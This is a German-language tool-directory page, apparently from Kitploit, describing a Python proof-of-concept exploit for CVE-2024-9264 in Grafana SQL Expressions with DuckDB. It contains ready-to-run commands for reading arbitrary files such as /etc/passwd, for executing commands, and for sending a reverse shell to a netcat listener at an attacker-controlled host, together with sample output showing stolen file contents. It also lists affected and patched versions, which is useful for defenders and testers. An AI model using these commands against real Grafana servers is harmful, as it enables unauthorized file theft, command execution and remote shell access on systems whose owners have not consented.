Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-9264 — CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC | Kitploit
Tools/GitHubGitHub/ozcanpng/cve-2024-9264
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & Education
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC

Repository anzeigen
vor 29 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC

Python Proof of Concept für CVE-2024-9264, eine Grafana SQL Expressions Schwachstelle, die authentifizierten lokalen Dateizugriff und Befehlsausführung ermöglichen kann, wenn duckdb im PATH des Grafana-Prozesses verfügbar ist.

Nur für autorisierte Tests und Forschung. Verwenden Sie dies nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.


Was es macht

root@kitploit:~
authentifizierter Grafana-API-Zugriff -> SQL Expressions DuckDB-Abfrage -> Dateiauslesen -> optionale Shellfs-Befehlsausführung
  1. Sendet eine authentifizierte Anfrage an den SQL Expressions Datenquellen-Endpunkt von Grafana.
  2. Liest Dateien mit DuckDB read_blob(). Wenn Befehlsausführung angefordert wird, wird zuerst /etc/passwd als Standard-Validierungsdatei verwendet.
  3. Lädt optional DuckDB shellfs und führt einen Befehl über einen pipe-gestützten read_csv()-Aufruf aus.
  4. Liest die Befehlsausgabe aus /tmp/cve_2024_9264_out und gibt das decodierte Ergebnis aus.

Der anfällige Endpunkt kann direkt über die API aufgerufen werden; eine Dashboard-UI-Interaktion ist nicht erforderlich. Authentifizierung ist dennoch erforderlich.


Screenshots

Befehlsausführung

Nachweis der Befehlsausführung

Reverse-Shell-Payload

Zustellung des Reverse-Shell-Payloads

Reverse-Shell-Listener

Reverse-Shell-Listener


Setup

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt

Verwendung

Dateiauslesen

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd

Wenn --file allein verwendet wird, liest das Skript diese Datei direkt und gibt den decodierten Inhalt im Abschnitt "Dateiauslese-Ergebnis" aus.

Befehlsausführung

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id

Das Skript führt zuerst eine Standard-Validierung mittels Auslesen von /etc/passwd durch und liefert dann das Befehlspayload. Im Ergebnisteil gibt es die decodierte Befehlsausgabe anstelle der rohen Grafana-JSON-Antwort aus.

Reverse Shell

Starten Sie einen Listener:

root@kitploit:~
rlwrap nc -lvnp 4444

Senden Sie das Reverse-Shell-Payload:

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444

Trockentest (Dry Run)

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run

Debug

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug

Optionen

Diese Optionen basieren auf der aktuellen CLI des Skripts:

root@kitploit:~
-u, --url, --target TARGET
                        Ziel-URL, z. B. http://localhost:3000
--username USERNAME     Grafana-Benutzername. Standard: admin
--password PASSWORD     Grafana-Passwort. Standard: admin
--file FILE             Dateipfad zum Auslesen. Standard-Validierungspfad: /etc/passwd
--expected-marker MARKER
                        Marker, der in der Dateiauslese-Antwort erwartet wird. Standard: root:
--cmd CMD               Befehl, der über den DuckDB-shellfs-Pfad ausgeführt werden soll
--reverse-shell         Führt ein Bash-Reverse-Shell-Payload aus
--lhost LHOST           Listener-Host für --reverse-shell
--lport LPORT           Listener-Port für --reverse-shell
--timeout TIMEOUT       HTTP-Timeout in Sekunden. Standard: 20
--verify-tls            TLS-Zertifikate verifizieren. Standard: aktiviert
-k, --insecure          TLS-Zertifikatsprüfung deaktivieren
--dry-run               Ziel- und Payload-Metadaten anzeigen, ohne Anfragen zu senden
--debug                 Debugging-Metadaten für Anfragen anzeigen

Beispielausgabe

Dateiauslesen

root@kitploit:~
[SCHRITT 2] Dateiauslese-Ergebnis
--------------------------------------------------------------------
[*] Dateipfad    : /etc/passwd
[*] HTTP-Status  : 200
[+] Dateiinhalt erfolgreich gelesen.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

Befehlsausführung

root@kitploit:~
[SCHRITT 4] Ergebnis
--------------------------------------------------------------------
[*] HTTP-Status  : 200
[+] Payload von Grafana akzeptiert.
uid=472(grafana) gid=0(root) groups=0(root)

Betroffene Versionen

ProduktBetroffene VersionErforderlicher ZugriffAuswirkung
Grafana OSS / EnterpriseGrafana 11.0.x, 11.1.x und 11.2.x vor den gepatchten SicherheitsreleasesViewer oder höherLokaler Dateizugriff und Befehlseinschleusung, wenn DuckDB im PATH von Grafana vorhanden ist

Grafana weist darauf hin, dass die Ausnutzung erfordert, dass die Binärdatei duckdb im PATH des Grafana-Prozesses vorhanden ist; normale Grafana-Distributionen installieren DuckDB standardmäßig nicht.


Hinweise

  • Gültige Grafana-Anmeldedaten sind erforderlich.
  • Der Account muss mindestens Viewer-Berechtigungen besitzen.
  • Direkte API-Ausnutzung bedeutet keine unauthentifizierte Ausnutzung; Anfragen benötigen weiterhin eine gültige Sitzung oder Basic-Auth-Anmeldedaten.
  • Das Dateiauslesen dient als erster Validierungsschritt vor der Befehlsausführung.
  • Die Befehlsausführung hängt von DuckDB und dem Verhalten der shellfs-Erweiterung in der Zielumgebung ab.
  • Für TLS-Ziele mit selbstsignierten Zertifikaten übergeben Sie -k oder --insecure.
  • Gepatchte Sicherheitsreleases umfassen Grafana 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 und 11.2.2+security-01.

Referenzen

  • Grafana-Sicherheitshinweis - CVE-2024-9264
  • Grafana-Blog zum Sicherheitsrelease
  • NVD - CVE-2024-9264

Autor

ozcanpng - github.com/ozcanpng - ozcanpng.dev

Tool herunterladen